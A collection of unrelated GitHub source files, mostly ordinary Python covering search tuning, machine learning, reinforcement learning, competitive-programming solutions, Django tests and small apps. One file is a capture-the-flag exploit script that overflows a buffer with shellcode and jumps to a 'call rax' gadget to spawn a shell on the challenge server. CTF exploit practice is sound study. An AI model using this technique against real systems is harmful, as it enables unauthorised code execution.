set_bm25_parameters(es, index, name=similarity_name(field), **params)\n\n\ndef mrr(k):\n return deepcopy({\n 'mean_reciprocal_rank': {\n 'k': k,\n 'relevant_rating_threshold': 1,\n }\n })\n\n\ndef evaluate_mrr100_dev(es, max_concurrent_searches, index, template_id, params):\n templates = load_json(TEMPLATES_FILE)\n return evaluate_mrr100_dev_templated(es, max_concurrent_searches, index, templates, template_id, params)\n\n\ndef evaluate_mrr100_dev_templated(es, max_concurrent_searches, index, templates, template_id, params):\n k = 100\n queries = load_queries_as_tuple_list(os.path.join(ROOT_DIR, 'data', 'msmarco', 'document', 'msmarco-docdev-queries.tsv'))\n qrels = load_qrels(os.path.join(ROOT_DIR, 'data', 'msmarco', 'document', 'msmarco-docdev-qrels.tsv'))\n\n body = {\n 'metric': mrr(k),\n 'templates': templates,\n 'requests': build_requests(index, template_id, queries, qrels, params),\n 'max_concurrent_searches': max_concurrent_searches,\n }\n\n print(f\"Evaluation with: MRR@{k}\")\n\n results = es.rank_eval(body=body, index=index, request_timeout=1200,\n allow_no_indices=False, ignore_unavailable=False,\n search_type='dfs_query_then_fetch')\n print(f\"Score: {results['metric_score']:.04f}\")\n return results\n\n\ndef verbose_logger(iteration, total_iterations, score, curr_min_score, duration, params):\n def seconds_to_str(seconds):\n delta = datetime.timedelta(seconds=seconds)\n return str(delta - datetime.timedelta(microseconds=delta.microseconds))\n\n remaining_duration = duration * (total_iterations - iteration)\n duration_s = seconds_to_str(duration)\n remaining_s = seconds_to_str(remaining_duration)\n print(f\" > iteration {iteration}/{total_iterations}, took {duration_s} (remains: {remaining_s})\")\n print(f\" | {score:.04f} (best: {curr_min_score:.04f}) - {params}\")\n\n\ndef optimize_query_mrr100(es, max_concurrent_searches, index, template_id, config_space, verbose=True):\n templates = load_json(TEMPLATES_FILE)\n return optimize_query_mrr100_templated(es, max_concurrent_searches, index,\n templates, template_id, config_space,\n verbose)\n\n\ndef optimize_query_mrr100_templated(es, max_concurrent_searches, index, templates, template_id, config_space, verbose=True):\n k = 100\n queries_fname = os.path.join('data', 'msmarco-document-sampled-queries.1000.tsv')\n qrels_fname = os.path.join('data', 'msmarco', 'document', 'msmarco-doctrain-qrels.tsv')\n\n queries = load_queries_as_tuple_list(os.path.join(ROOT_DIR, queries_fname))\n qrels = load_qrels(os.path.join(ROOT_DIR, qrels_fname))\n\n print(\"Optimizing parameters\")\n print(f\" - metric: MRR@{k}\")\n print(f\" - queries: {queries_fname}\")\n print(f\" - queries: {qrels_fname}\")\n\n if verbose:\n logger = verbose_logger\n else:\n logger = None\n\n best_score, best_params, final_params, metadata = optimize_query(\n es, max_concurrent_searches, index, config_space, mrr(100), templates,\n template_id, queries, qrels, logger)\n\n print(f\"Best score: {best_score:.04f}\")\n print(f\"Best params: {best_params}\")\n print(f\"Final params: {final_params}\")\n print()\n\n return best_score, best_params, final_params, metadata\n\n\ndef optimize_bm25_mrr100(es, max_concurrent_searches, index, template_id, query_params, config_space, name=None, verbose=True):\n templates = load_json(TEMPLATES_FILE)\n return optimize_bm25_mrr100_templated(es, max_concurrent_searches, index,\n templates, template_id, query_params,\n config_space, name, verbose)\n\n\ndef optimize_bm25_mrr100_templated(es, max_concurrent_searches, index, templates, template_id, query_params, config_space, name=None, verbose=True):\n k = 100\n queries_fname = os.path.join('data', 'msmarco-document-sampled-queries.1000.tsv')\n qrels_fname = os.path.join('data', 'msmarco', 'document', 'msmarco-doctrain-qrels.tsv')\n\n queries = load_queries_as_tuple_list(os.path.join(ROOT_DIR, queries_fname))\n qrels = load_qrels(os.path.join(ROOT_DIR, qrels_fname))\n\n print(\"Optimizing parameters\")\n print(f\" - metric: MRR@{k}\")\n print(f\" - queries: {queries_fname}\")\n print(f\" - queries: {qrels_fname}\")\n\n if verbose:\n logger = verbose_logger\n else:\n logger = None\n\n best_score, best_params, final_params, metadata = optimize_bm25(\n es, max_concurrent_searches, index, config_space, mrr(100), templates,\n template_id, queries, qrels, query_params, name, logger)\n\n print(f\"Best score: {best_score:.04f}\")\n print(f\"Best params: {best_params}\")\n print(f\"Final params: {final_params}\")\n print()\n\n return best_score, best_params, final_params, metadata\n","repo_name":"elastic/examples","sub_path":"Machine Learning/Query Optimization/qopt/notebooks.py","file_name":"notebooks.py","file_ext":"py","file_size_in_byte":5635,"program_lang":"python","lang":"en","doc_type":"code","stars":2595,"dataset":"github-code","pt":"48"} +{"seq_id":"7420917616","text":"#import dependencies\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom category_encoders.target_encoder import TargetEncoder\r\nfrom sklearn.ensemble import RandomForestRegressor\r\n\r\n#training data and test data\r\n#changed file names as they were very long\r\ntrain_data=pd.read_csv('train.csv')\r\ntest_data=pd.read_csv('test.csv')\r\n\r\ntarget=train_data['Income in EUR']\r\ntrain_data_id=train_data['Instance']\r\ntest_data_id=test_data['Instance']\r\ntrain_data.drop(['Income in EUR','Instance'],axis=1,inplace=True)\r\n\r\n\r\n#train_catagorics\r\ntrain_data[\"Gender\"]=train_data[\"Gender\"].fillna(\"N/A\")\r\ntrain_data[\"University Degree\"]=train_data[\"University Degree\"].fillna(\"N/A\")\r\ntrain_data[\"Hair Color\"]=train_data[\"Hair Color\"].fillna(\"N/A\")\r\ntrain_data[\"Profession\"]=train_data[\"Profession\"].fillna(\"N/A\")\r\n#train_numerics\r\ntrain_data[\"Age\"]=train_data[\"Age\"].fillna(train_data['Age'].mean())\r\ntrain_data[\"Year of Record\"]=train_data[\"Year of Record\"].fillna(train_data['Year of Record'].mean())\r\n\r\n#test_catagorics\r\ntest_data[\"Gender\"]=test_data[\"Gender\"].fillna(\"N/A\")\r\ntest_data[\"University Degree\"]=test_data[\"University Degree\"].fillna(\"N/A\")\r\ntest_data[\"Hair Color\"]=test_data[\"Hair Color\"].fillna(\"N/A\")\r\ntest_data[\"Profession\"]=test_data[\"Profession\"].fillna(\"N/A\")\r\n#test_numerics\r\ntest_data[\"Age\"]=test_data[\"Age\"].fillna(test_data['Age'].mean())\r\ntest_data[\"Year of Record\"]=test_data[\"Year of Record\"].fillna(test_data['Year of Record'].mean())\r\n\r\nnumerics_and_catagorics=list(train_data.columns)\r\nX_train_data,X_val,y_train_data,y_val=train_test_split(train_data,target,test_size=0.2,random_state=97)\r\nrandom_forest=RandomForestRegressor()\r\n#target_encoder\r\ntarget_encoder=TargetEncoder()\r\ntrain_data_encoded=target_encoder.fit_transform(X_train_data[numerics_and_catagorics], y_train_data)\r\ntest_data_encoded=target_encoder.transform(X_val[numerics_and_catagorics],y_val)\r\ntest_data=target_encoder.transform(test_data[numerics_and_catagorics])\r\n\r\nprint(train_data_encoded.head())\r\nprint(test_data_encoded.head())\r\n\r\n#random_forest_regressor\r\nr_train_data=random_forest.fit(train_data_encoded,y_train_data)\r\nprediction=r_train_data.predict(test_data_encoded)\r\n\r\ndef rmse(prediction,target):\r\n\t#difference = prediction-target\r\n\t#square = **2\r\n\t#mean = .mean()\r\n\t#root = np.sqrt\r\n\treturn np.sqrt(((prediction-target)**2).mean())\r\n\r\nprint(rmse(y_val,prediction)) \r\nprediction=r_train_data.predict(test_data)\r\n\r\noutput_template='submission_template.csv'\r\ndata_frame=pd.read_csv(output_template)\r\ndata_frame['Income']=prediction\r\ndata_frame.to_csv('submission.csv',index=False)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"fieldsal/KaggleMachineLearningIndividualAssignment","sub_path":"income.py","file_name":"income.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39423309545","text":"from functools import reduce\n\n# 入力\nN = int(input())\np = list(map(int, input().split()))\n\n# 先頭から順にスワップする\nans = sum(\n reduce(\n lambda acc, q:\n (\n acc[0] + acc[1],\n (not acc[1]) and q\n ),\n (i == P for i, P in enumerate(p, start=1)),\n (0, 0)\n )\n)\n\n# 出力\nprint(ans)\n","repo_name":"wotsushi/competitive-programming","sub_path":"arc/082/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"ja","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"15321479832","text":"from typing import Generic, TypeVar, List\nfrom random import Random\nimport math\n\n\nStateType = TypeVar(\"StateType\")\nActionType = TypeVar(\"ActionType\")\n\n\nclass QModel(Generic[StateType, ActionType]):\n def update(self, state: StateType, action: ActionType, td_error: float):\n raise NotImplementedError()\n\n def score(self, state: StateType, action: ActionType) -> float:\n raise NotImplementedError()\n\n\nclass ActionOutcome(Generic[StateType]):\n def __init__(self, next_state: StateType, reward: float, probability: float):\n self.next_state = next_state\n self.reward = reward\n self.probability = probability\n\n\nclass Environment(Generic[StateType, ActionType]):\n def initial_state(self) -> StateType:\n raise NotImplementedError()\n\n def possible_actions(self, state: StateType) -> List[ActionType]:\n raise NotImplementedError()\n\n def do_action(self, state: StateType, action: ActionType) -> List[ActionOutcome]:\n raise NotImplementedError()\n\n\ndef train(env: Environment, model: QModel, gamma: float, epsilon: float, n_iter: int, random_state: int = None):\n random = Random(random_state)\n for _iter in range(n_iter):\n state = env.initial_state()\n while True:\n candidate_actions = env.possible_actions(state)\n if len(candidate_actions) == 0:\n break\n # determine the next action by epsilon-greedy policy\n if random.random() < epsilon:\n action = random.choice(candidate_actions)\n else:\n action = max(candidate_actions, key=lambda action: model.score(state, action))\n\n outcomes = env.do_action(state, action)\n outcome_weights = [outcome.probability for outcome in outcomes]\n sampled_outcome = random.choices(outcomes, outcome_weights)[0] # type: ActionOutcome\n next_state = sampled_outcome.next_state\n reward = sampled_outcome.reward\n\n next_actions = env.possible_actions(next_state)\n best_next_action_score = max(map(lambda action: model.score(next_state, action), next_actions)) if next_actions else 0.\n\n td_error = reward + gamma * best_next_action_score - model.score(state, action)\n model.update(state, action, td_error)\n state = next_state\n","repo_name":"amylase/ffxiv-crafter","sub_path":"ffxivcrafter/qlearning/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"37508268958","text":"from rest_framework import serializers\r\nfrom particle_api.helpers import TimestampField\r\n\r\nfrom particle_sessions.models import *\r\n\r\nclass ParticleSessionSerializer(serializers.ModelSerializer):\r\n time_opened = TimestampField()\r\n time_last_seen = TimestampField()\r\n time_closed = TimestampField()\r\n \r\n class Meta:\r\n model = ParticleSession\r\n fields = [\r\n \"session_id\",\r\n \"time_opened\",\r\n \"time_last_seen\",\r\n \"time_closed\",\r\n \"user_id\",\r\n \"platform\",\r\n ]","repo_name":"ParticleChurch/website","sub_path":"particle_api/particle_sessions/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14277044356","text":"# Multi-Armed Bandit Problem : Thompson Sampling\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport random\n\n# Importing the dataset\ndataset = pd.read_csv('Ads_CTR_Optimisation.csv')\n\n# Implementing Thompson Sampling\nN,d = dataset.shape\nnumbers_of_rewards_1 = [0] * d\nnumbers_of_rewards_0 = [0] * d\nrandom_beta = [0] * d\nads_selected = []\ntotal_reward = 0\n\nfor n in range(N):\n for i in range(d):\n random_beta[i] = random.betavariate(numbers_of_rewards_1[i] + 1, numbers_of_rewards_0[i] + 1)\n ad = max(range(d), key = random_beta.__getitem__)\n ads_selected.append(ad)\n reward = dataset.values[n,ad]\n if reward:\n numbers_of_rewards_1[ad] +=1\n else:\n numbers_of_rewards_0[ad] +=1\n total_reward += reward\n \n# Plotting Histogram of Ads selected\nplt.hist(ads_selected)\nplt.title('Histogram of Ads selected')\nplt.xlabel('Ads')\nplt.ylabel('Number of times ad was selected')\nplt.show()\n","repo_name":"AniruddhaSadhukhan/Machine-Learning","sub_path":"6 - Reinforcement Learning/6b - Thompson Sampling/thompson_sampling.py","file_name":"thompson_sampling.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41683757046","text":"N = int(input())\n\narr = [0 for i in range(N+1)]\n\narr[1] = 0\n\nfor i in range(2, N+1):\n arr[i] = arr[i-1] + 1\n if(i % 2 == 0):\n arr[i] = min(arr[i], arr[i//2]+1)\n if(i % 3 == 0):\n arr[i] = min(arr[i], arr[i//3]+1)\n \nprint(arr[N])\n\n#DP 할때는 이전식을 구할수 있는지 부터 확인!\n#여기서는 arr를 통해 1번부터 N까지 차례로 구해나감\n\n\n#https://stonejjun.tistory.com/24","repo_name":"Choieeh/BOJ","sub_path":"DP/1463.py","file_name":"1463.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5284527616","text":"class Settings():\r\n def __init__(self):\r\n #屏幕设置\r\n self.screen_width = 1200\r\n self.screen_height = 800\r\n self.bg_color = (230,230,230)\r\n #飞船设置\r\n self.ship_speed_factor = 1.5\r\n self.ship_limit = 3\r\n #子弹设置\r\n self.bullet_speed_factor=3\r\n self.bullet_width = 3\r\n self.bullet_height = 15\r\n self.bullet_color =20,20,20\r\n self.bullets_allowed = 3\r\n # 外星人设置\r\n self.alien_speed_factor = 1\r\n self.fleet_drop_speed=10\r\n self.fleet_direction =1\r\n","repo_name":"jiahuan-zhang/python","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"32861070752","text":"#!/usr/bin/env python3\nimport os\nfrom pwn import *\n\n###########################################\n# ROPgadget --binary src | grep \"call rax\"#\n# 0x0000000000401014 : call rax #\n###########################################\n\nSHELLCODE = asm(shellcraft.amd64.linux.sh(), arch='x86_64')\nPAYLOAD = SHELLCODE + b'a' * ((8 * 33) - len(SHELLCODE)) + p64(0x401014) # shellcode + padding + ret (call rax)\n\nif args.REMOTE:\n p = remote('challs.tfcctf.com', int(input(\"Port: \")))\nelse:\n p = process('./src')\n\np.recvuntil(b'\\n')\np.sendline(PAYLOAD)\np.interactive()","repo_name":"AlBovo/CTF-Writeups","sub_path":"TFCCTF 2023/Binary/Diary/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43518097492","text":"# 최근에 ICPC 탐사대는 남아메리카의 잉카 제국이 놀라운 문명을 지닌 카잉 제국을 토대로 하여 세워졌다는 사실을 발견했다. 카잉 제국의 백성들은 특이한 달력을 사용한 것으로 알려져 있다. 그들은 M과 N보다 작거나 같은 두 개의 자연수 x, y를 가지고 각 년도를 와 같은 형식으로 표현하였다. 그들은 이 세상의 시초에 해당하는 첫 번째 해를 <1:1>로 표현하고, 두 번째 해를 <2:2>로 표현하였다. 의 다음 해를 표현한 것을 이라고 하자. 만일 x < M 이면 x' = x + 1이고, 그렇지 않으면 x' = 1이다. 같은 방식으로 만일 y < N이면 y' = y + 1이고, 그렇지 않으면 y' = 1이다. 은 그들 달력의 마지막 해로서, 이 해에 세상의 종말이 도래한다는 예언이 전해 온다.\r\n#\r\n# 예를 들어, M = 10 이고 N = 12라고 하자. 첫 번째 해는 <1:1>로 표현되고, 11번째 해는 <1:11>로 표현된다. <3:1>은 13번째 해를 나타내고, <10:12>는 마지막인 60번째 해를 나타낸다.\r\n#\r\n# 네 개의 정수 M, N, x와 y가 주어질 때, 이 카잉 달력의 마지막 해라고 하면 는 몇 번째 해를 나타내는지 구하는 프로그램을 작성하라.\r\n\r\n# import sys\r\n# input = sys.stdin.readline\r\n#\r\n# T = int(input().strip())\r\n# for _ in range(T):\r\n# M, N, x, y = map(int, input().strip().split())\r\n# K = y\r\n# flag = False\r\n# while K <= M * N:\r\n# if (K - x) % M == 0 and (K - y) % N == 0:\r\n# flag = True\r\n# break\r\n# else:\r\n# K += N\r\n#\r\n# if flag:\r\n# print(K)\r\n# else:\r\n# print(-1)\r\n\r\n#\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\nT = int(input().strip())\r\nfor _ in range(T):\r\n M, N, x, y = map(int, input().strip().split())\r\n year = x\r\n flag = False\r\n while year <= M * N:\r\n if (year - x) % M == 0 and (year - y) % N == 0:\r\n flag = True\r\n break\r\n else:\r\n year += x\r\n\r\n if flag:\r\n print(year)\r\n else:\r\n print(-1)","repo_name":"dnwls16071/PS_Baekjoon","sub_path":"6000~6999/6064.py","file_name":"6064.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70180867345","text":"import json\nimport wikipedia\n\ndef platzhalter():\n return 'Platzhalter'\n\n\ndef test():\n return 'Test bestanden'\n\n\ndef print_help():\n out = 'Hier ist eine Beispielliste von Commands: \\n'\n for key in cmds.keys():\n out = '{}{}\\n'.format(out, key)\n return out\n\n\ndef change_name():\n name = input('Zu was soll dein Name geändert werden?\\n')\n with open('data.json', 'r') as json_file:\n json_data = json_file.read()\n obj = json.loads(json_data)\n with open('data.json', 'w') as json_file:\n obj['name'] = name\n json.dump(obj, json_file)\n return 'Name geändert zu ' + name\n\n\ndef change_age():\n age = input('Zu was soll dein Alter geändert werden?\\n')\n with open('data.json', 'w') as json_file:\n json_data = json_file.read()\n obj = json.loads(json_data)\n with open('data.json', 'w') as json_file:\n obj['age'] = age\n json.dump(obj, json_file)\n return 'Alter geändert zu ' + age\n\n\ndef wiki_summary():\n inp = input('Suche:\\n')\n try:\n result = wikipedia.search(inp)\n r_final = wiki_summary(result[0].split()[0].lower())\n out = f'\\nWiki-Suche:\\n {r_final}'\n except Exception as e:\n out = 'Wiki konnte deine Suche nicht richtig erkennen. Versuche es bitte noch einmal!'\n finally:\n return out\n\n\ndef wiki_search():\n inp = input('Suche:\\n')\n try:\n r_final = ''\n result = wikipedia.search(inp)\n for item in result:\n r_final = f'{r_final}\\n{item}'\n out = f'\\nWiki-Suche:\\n {r_final}'\n except:\n out = 'Wiki konnte deine Suche nicht richtig erkennen. Versuche es bitte noch einmal!'\n finally:\n return out\n\n\ncmds = {\n 'stop': platzhalter,\n 'bye': platzhalter,\n 'test': test,\n 'help': print_help,\n 'hilfe': print_help,\n 'wiki': wiki_summary,\n 'search': wiki_search\n}\n\n\ndef check(msg):\n msg = msg.lower()\n output = ''\n if 'stop' in msg or 'bye' in msg:\n return 'Stoppt', 'stop'\n if 'change' in msg and 'name' in msg:\n return change_name(), ''\n if 'change' in msg and 'age' in msg:\n return change_age(), ''\n for d in cmds.keys():\n if d in msg:\n output = f'{cmds[d]()}\\n{output}'\n if output == '':\n output = 'Unbekannter Befehl :( .\\nBenutze \"help\" für Hilfe.'\n return output, ''\n","repo_name":"BeBan09/Chatbot","sub_path":"bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71463558547","text":"from unittest import mock\n\nimport pytest\nfrom django.core.cache import cache, caches\nfrom django.core.cache.backends.base import BaseCache\nfrom django.utils import timezone\nfrom freezegun import freeze_time\n\nfrom cacheback.base import Job\nfrom tests.dummyapp.models import DummyModel\n\n\nclass DummyJob(Job):\n def fetch(self, param):\n return ('JOB-EXECUTED:{0}'.format(param), timezone.now())\n\n\nclass CacheAliasDummyJob(DummyJob):\n cache_alias = 'secondary'\n\n\nclass EmptyDummyJob(DummyJob):\n fetch_on_miss = False\n\n\nclass StaleDummyJob(DummyJob):\n fetch_on_stale_threshold = 900\n\n\nclass FailJob(Job):\n def fetch(self):\n raise Exception('JOB-FAILED')\n\n\nclass CustomPayloadLabelJob(Job):\n set_data_kwarg = 'my_cache_data'\n\n\n@pytest.mark.usefixtures('cleared_cache', scope='function')\nclass TestJob:\n def test_init(self):\n job = DummyJob()\n assert isinstance(job.cache, BaseCache)\n assert job.task_options == {}\n\n def test_get_miss_sync(self):\n assert DummyJob().get('foo')[0] == 'JOB-EXECUTED:foo'\n\n def test_get_uses_cache_alias(self):\n job = CacheAliasDummyJob()\n assert job.get('foo')[0] == 'JOB-EXECUTED:foo'\n assert job.key('foo') not in cache\n assert job.key('foo') in caches[CacheAliasDummyJob.cache_alias]\n\n @pytest.mark.redis_required\n def test_get_miss_empty_async(self, rq_burst):\n job = EmptyDummyJob()\n assert job.get('foo') is None\n rq_burst()\n assert job.get('foo')[0] == 'JOB-EXECUTED:foo'\n\n def test_get_stale_sync(self):\n job = StaleDummyJob()\n with freeze_time('2016-03-20 14:00'):\n first_result = job.get('foo')\n\n with freeze_time('2016-03-20 14:16'):\n second_result = job.get('foo')\n\n assert first_result[1] < second_result[1]\n\n @pytest.mark.redis_required\n def test_get_stale_async(self, rq_burst):\n job = StaleDummyJob()\n with freeze_time('2016-03-20 14:00'):\n first_result = job.get('foo')\n\n with freeze_time('2016-03-20 14:14'):\n second_result = job.get('foo')\n\n assert first_result[1] == second_result[1]\n\n with freeze_time('2016-03-20 14:16'):\n rq_burst()\n\n with freeze_time('2016-03-20 14:17'):\n third_result = job.get('foo')\n\n assert second_result[1] < third_result[1]\n\n @pytest.mark.redis_required\n def test_get_hit(self, rq_worker):\n job = StaleDummyJob()\n with freeze_time('2016-03-20 14:00'):\n first_result = job.get('foo')\n\n with freeze_time('2016-03-20 14:05'):\n second_result = job.get('foo')\n\n assert first_result[1] == second_result[1]\n\n # Check if a task was inserted.\n assert len(rq_worker.queues[0].jobs) == 0\n\n @pytest.mark.redis_required\n def test_invalidate_miss(self, rq_worker):\n DummyJob().invalidate('foo')\n # There was no cached item, nothing todo.\n assert len(rq_worker.queues[0].jobs) == 0\n\n @pytest.mark.redis_required\n def test_invalidate_hit(self, rq_worker):\n job = DummyJob()\n job.refresh('foo')\n job.invalidate('foo')\n assert len(rq_worker.queues[0].jobs) == 1\n\n def test_delete_miss(self):\n job = DummyJob()\n job.delete('foo')\n assert job.key('foo') not in job.cache\n\n def test_delete_hit(self):\n job = DummyJob()\n job.refresh('foo')\n assert job.key('foo') in job.cache\n job.delete('foo')\n assert job.key('foo') not in job.cache\n\n def test_store(self):\n job = DummyJob()\n job.store(job.key('foo'), job.expiry(), True)\n assert job.key('foo') in job.cache\n\n def test_store_verify_fail(self, settings):\n settings.CACHEBACK_CACHE_ALIAS = 'dummy'\n settings.CACHEBACK_VERIFY_CACHE_WRITE = True\n\n job = DummyJob()\n\n with pytest.raises(RuntimeError) as exc:\n job.store(job.key('foo'), job.expiry(), True)\n\n assert 'Unable to save' in str(exc.value)\n\n def test_store_no_verify_fail(self, settings):\n settings.CACHEBACK_CACHE_ALIAS = 'dummy'\n settings.CACHEBACK_VERIFY_CACHE_WRITE = False\n\n job = DummyJob()\n job.store(job.key('foo'), job.expiry(), True)\n assert job.key('foo') not in job.cache\n\n def test_refresh(self):\n job = DummyJob()\n result = job.refresh('foo')\n assert result[0] == 'JOB-EXECUTED:foo'\n assert job.key('foo') in job.cache\n\n @pytest.mark.redis_required\n def test_async_refresh(self, rq_worker):\n job = DummyJob()\n job.async_refresh('foo')\n assert job.key('foo') not in job.cache\n assert len(rq_worker.queues[0].jobs) == 1\n\n @mock.patch('cacheback.base.enqueue_task')\n def test_async_refresh_task_fail(self, enqueue_mock):\n enqueue_mock.side_effect = Exception\n job = DummyJob()\n job.async_refresh('foo')\n assert job.get('foo')[0] == 'JOB-EXECUTED:foo'\n\n @mock.patch('cacheback.base.enqueue_task')\n @mock.patch('cacheback.base.Job.refresh')\n def test_async_refresh_task_fail_sync_fail(self, refresh_mock, enqueue_mock):\n refresh_mock.side_effect = Exception\n enqueue_mock.side_effect = Exception\n job = DummyJob()\n job.async_refresh('foo')\n assert job.key('foo') not in job.cache\n\n def test_expiry(self):\n with freeze_time('2016-03-20 14:05'):\n job = DummyJob()\n assert job.expiry() == 1458483300\n\n def test_timeout(self):\n with freeze_time('2016-03-20 14:05'):\n job = DummyJob()\n assert job.timeout() == 1458482760\n\n def test_should_stale_item_be_fetched_synchronously_no_threshold(self):\n assert DummyJob().should_stale_item_be_fetched_synchronously(0) is False\n\n def test_should_stale_item_be_fetched_synchronously_reached(self):\n assert StaleDummyJob().should_stale_item_be_fetched_synchronously(301) is True\n\n def test_should_stale_item_be_fetched_synchronously_not_reached(self):\n assert StaleDummyJob().should_stale_item_be_fetched_synchronously(300) is False\n\n def test_key_no_args_no_kwargs(self):\n assert DummyJob().key() == 'tests.test_base_job.DummyJob'\n\n def test_key_args_no_kwargs(self):\n assert DummyJob().key(1, 2, 3) == (\n 'tests.test_base_job.DummyJob:7b6e2994f12a7e000c01190edec1921e'\n )\n\n def test_key_no_args_kwargs(self):\n assert DummyJob().key(foo='bar') == (\n 'tests.test_base_job.DummyJob:d41d8cd98f00b204e9800998ecf8427e:'\n 'acbd18db4cc2f85cedef654fccc4a4d8:37b51d194a7513e45b56f6524f2d51f2'\n )\n\n def test_key_args_kwargs(self):\n assert DummyJob().key(1, 2, foo='bar', bar='baz') == (\n 'tests.test_base_job.DummyJob:def474a313bffa002eae8941b2e12620:'\n '8856328b99ee7881e9bf7205296e056d:c9ebc77141c29f6d619cf8498631343d'\n )\n\n def test_raw_get(self):\n job = DummyJob()\n with freeze_time('2016-03-20 14:05'):\n\n job.set('foo', 'MANUALLY_SET')\n\n expiry, value = job.raw_get('foo')\n\n assert expiry == float(1458483300)\n assert value == 'MANUALLY_SET'\n\n def test_raw_get_empty(self):\n job = DummyJob()\n\n assert job.raw_get() is None\n\n def test_set(self):\n job = DummyJob()\n job.set('foo', 'MANUALLY_SET')\n\n assert job.get('foo') == 'MANUALLY_SET'\n\n def test_set_preset_cache(self):\n job = DummyJob()\n assert job.get('foo')[0] == 'JOB-EXECUTED:foo'\n\n # It is cached\n assert job.key('foo') in job.cache\n\n job.set('foo', 'MANUALLY_SET')\n\n assert job.get('foo') == 'MANUALLY_SET'\n\n def test_set_default_kw_arg(self):\n\n job = DummyJob()\n job.set('foo', data='MANUALLY_SET_WITH_KW_ARG')\n\n assert job.get('foo') == 'MANUALLY_SET_WITH_KW_ARG'\n\n def test_set_default_custom_kw_arg(self):\n\n job = CustomPayloadLabelJob()\n job.set('foo', my_cache_data='MANUALLY_SET_WITH_CUSTOM_KW_ARG')\n\n assert job.get('foo') == 'MANUALLY_SET_WITH_CUSTOM_KW_ARG'\n\n @pytest.mark.django_db\n def test_key_django_model(self):\n alan = DummyModel.objects.create(name=\"Alan\")\n john = DummyModel.objects.create(name=\"John\")\n assert (\n DummyJob().key(alan)\n == 'tests.test_base_job.DummyJob:9df82067f944cc95795bc89ec0aa65df'\n )\n assert DummyJob().key(alan) != DummyJob().key(john)\n\n @mock.patch('cacheback.base.logger')\n def test_job_refresh_unkown_jobclass(self, logger_mock):\n Job.perform_async_refresh('foomodule.BarJob', (), {}, (), {})\n assert 'Unable to construct %s with' in (logger_mock.error.call_args[0][0])\n assert logger_mock.error.call_args[0][1] == 'foomodule.BarJob'\n\n @mock.patch('cacheback.base.logger')\n def test_job_refresh_perform_error(self, logger_mock):\n Job.perform_async_refresh('tests.test_base_job.FailJob', (), {}, (), {})\n assert 'Error running job' in (logger_mock.exception.call_args[0][0])\n assert isinstance(logger_mock.exception.call_args[0][1], Exception)\n\n def test_job_refresh(self):\n Job.perform_async_refresh('tests.test_base_job.EmptyDummyJob', (), {}, ('foo',), {})\n assert EmptyDummyJob().get('foo') is not None\n","repo_name":"codeinthehole/django-cacheback","sub_path":"tests/test_base_job.py","file_name":"test_base_job.py","file_ext":"py","file_size_in_byte":9364,"program_lang":"python","lang":"en","doc_type":"code","stars":372,"dataset":"github-code","pt":"48"} +{"seq_id":"38121158560","text":"from scapy.layers.inet import IP, TCP, UDP\nfrom scapy.all import *\nfrom scapy.all import RTP\n\npkts = sniff(offline=\"forensic.pcap\")\npkts[5].show()\n\nfor pkt in pkts:\n if pkt[UDP].dport==5690 or pkt[UDP].dport==7078: # Make sure its actually RTP\n print(\"**************** RTP packet **************\")\n pkt[\"UDP\"].payload = RTP(pkt[\"Raw\"].load)\n else:\n print(\"No RTP packet\")\n print(\"no rtp\")\nfor pkt in pkts[5]:\n IPsrc = pkt[IP].src\n IPdst = pkt[IP].dst\n\nprint(f\"IP source : {IPsrc}\\n\")\nprint(f\"IP dest : {IPdst}\\n\")\n","repo_name":"0xSp3ctra/RTP-PARSING","sub_path":"old/RTP.py","file_name":"RTP.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27673255194","text":"\nfrom flask import Flask, request\nfrom indictrans import Transliterator\nfrom flask_cors import CORS\nfrom flask_cors import cross_origin\nfrom translation import TranslationLookup\n\napp = Flask(__name__)\nCORS(app)\nlookup_object = TranslationLookup()\n\n@app.route('/')\ndef hello_world():\n return 'Hello, World!'\n\n\n@cross_origin()\n@app.route('/trans')\ndef transliterate():\n word = request.args.get('word', default=\"congress\", type=str)\n trn = Transliterator(source='eng', target='hin', build_lookup=True, decode='beamsearch')\n best_transliterated_list = trn.transform(word, k_best=5)\n return {\"transliteration\": best_transliterated_list}\n\n\n@cross_origin()\n@app.route('/lookup')\ndef lookup():\n word = request.args.get('word', default='congress', type=str)\n return {\"translation\": lookup_object.lookup_from_glossory(word)}\n\n\nif __name__ == \"__main__\":\n 